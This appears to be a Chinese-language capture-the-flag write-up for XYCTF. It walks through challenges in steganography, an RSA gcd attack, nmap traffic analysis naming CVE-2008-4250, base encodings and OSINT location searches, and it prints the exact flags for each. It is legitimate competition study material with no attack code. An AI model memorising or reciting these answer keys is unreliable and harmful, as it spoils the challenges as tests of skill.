syesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesyesyesyesyesyesyesnonoyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonoyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesyesnonononononononononoyesyesyesyesyesnonononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononoyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesnonononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesyesyesyesnononononononononononononononoyesyesyesyesyesyesnononoyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnononononononononononononoyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesnonononononononononononononononononononononoyesyesyesyesnononononononononononononononononononononononononononononononononononononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesnononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononoyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnononoyesyesyesyesyesnonononononononononononononoyesnonononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesyesnonononononononononononoyesyesyesyesnonononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononoyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononoyesyesyesyesnononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesnonononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononoyesyesyesyesnonononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononoyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononoyesyesyesyesnononononononononononononononononononononononononoyesyesyesyesnonononononononononoyesyesyesyesyesyesyesyesnononononononononononononoyesyesyesyesnonononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononoyesyesnonononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesnononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononoyesyesyesnonononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesnoyesyesnononononononononononoyesyesyesnononononononononononononononononononononononoyesyesyesyesyesyesnonononononononononononononononononononononononononononononononononononononoyesyesnononononononononononononononononononononononononononoyesyesnonononononononononononononoyesnoyesnonononononononononononononononononononononononononononononononononononononononononononononononoyesnonononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesyesyesyesnonononononononononononononononononononoyesnonononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesyesyesnononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononoyesyesyesnonononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononononono |
暂时无法在飞书文档外展示此内容
转成01,画图,尺寸548*72
原神须弥沙漠文
sm3rty0ucando
第九层
题目告诉我们$$a_1p+b_1q=l_1\ a_2p+b_2q=l_2$$,但是$$a_1,a_2,b_1,b_2,p,q$$均未知,只知道 $$a_1,a_2<28,b_1,b_2<2{256}$$。
注意到$$a_1a_2p+b_1a_2q=l_1a_2\a_1a_2p+a_1b_2q=a_1l_2$$,得$$(b_1a_2-a_1b_2)q=l_1a_2-a_1l_2$$,
于是可以通过爆破 $$a_1,a_2$$的值,求 $$q=gcd(l_1a_2-a_1l_2,n)$$,最终检查 q.bit_length() ==512,解出p,q
from Crypto.Util.number import * |
解得game_over
压缩包里两个文件
压缩包里的图片真的有东西吗?不如看向外面 |
还有一个zip压缩包
应该是oursecret隐写,但是尚未知道密码,可以确定的是是对压缩包进行隐写的而不是对图片
密码也是game_over
找到_nine_turns?}
flag汇总:XYCTF{T3e_c0mb1nation_0f_crypt0_and_misc_1s_re6lly_fun!!L1u_and_K1cky_Mu_3re_so_sm4rt!In_just_a_few_m1nutes_they_were_thr0ugh!Sm3rt_y0u_can_do_nine_turns?}
要整一坨拿去md5,然后再套flag头
XYCTF{b1bdc6cf06a28b97c91c1c12f0d3bc00}
可惜三血被抢了
1.9 网络追踪
经过了一系列骚操作(其实就是用wireshark筛TCP流,很容易发现这个流量包是在用nmap在扫描靶机端口,查看有哪些端口完成了三次握手,代表端口开放)
找到了这玩意
hK3Z1J2NvNa3fNJxaP43bTEfbb7zafODbacFaP43bte0wtPmDvvmOK3Z1J2Nv |
经过漫长的信息检索后
XYCTF{192.168.204.133_445_139_135_CVE-2008-4250}
wireshark中显示的1065端口也是开放的,但这是利用漏洞打开的端口,一开始只开放了445,139,135三个端口
1.10 base
LBMUGVCGPNRDEOJUHE3GKMDGGY2GMYQ=NzY3NzIzNjE0ZjA5MzBiZjgxY30
等号与之前为第一段
XYCTF{b29496e0f64fb
第二段如base64
767723614f0930bf81c}
1.11 osint1
滨海新区,天津?根据hint,不是天津
广东茂名滨海新区**博贺湾**大道
不对
百度识图
在一篇blog中找到导航图,那么位置就可以确定了
在高德地图找到相应位置
滨海东路。
那么就确定flag了。
江苏省南通市滨海东路黄海
xyctf{江苏省|南通市|滨海东路|黄海}
1.12 真签到
十六进制下就有flag
1.13 OSINT2
河南省,G3293次列车
龙门石窟?不对
高德搜周边 一个个试
最后结果是
老君山
xyctf{G3293|河南省|老君山}
1.14 base1024*2
XYCTF{84ca3a6e-3508-4e34-a5e0-7d0f03084181}
https://nerdmosis.com/tools/encode-and-decode-base2048
1.15 出题有点烦
压缩包密码123456
第一张图:XYCTF{可惜是假的}
第二三四张图:没东西
第五张图隐写了个压缩包,解开,密码是xyctf,十六进制看文件有flag
XYCTF{981e5_f3ca30_c841487_830f84_fb433e}
1.16 ez_osint
网上搜文本的头可以搜到时光邮局,评论区想笑死谁?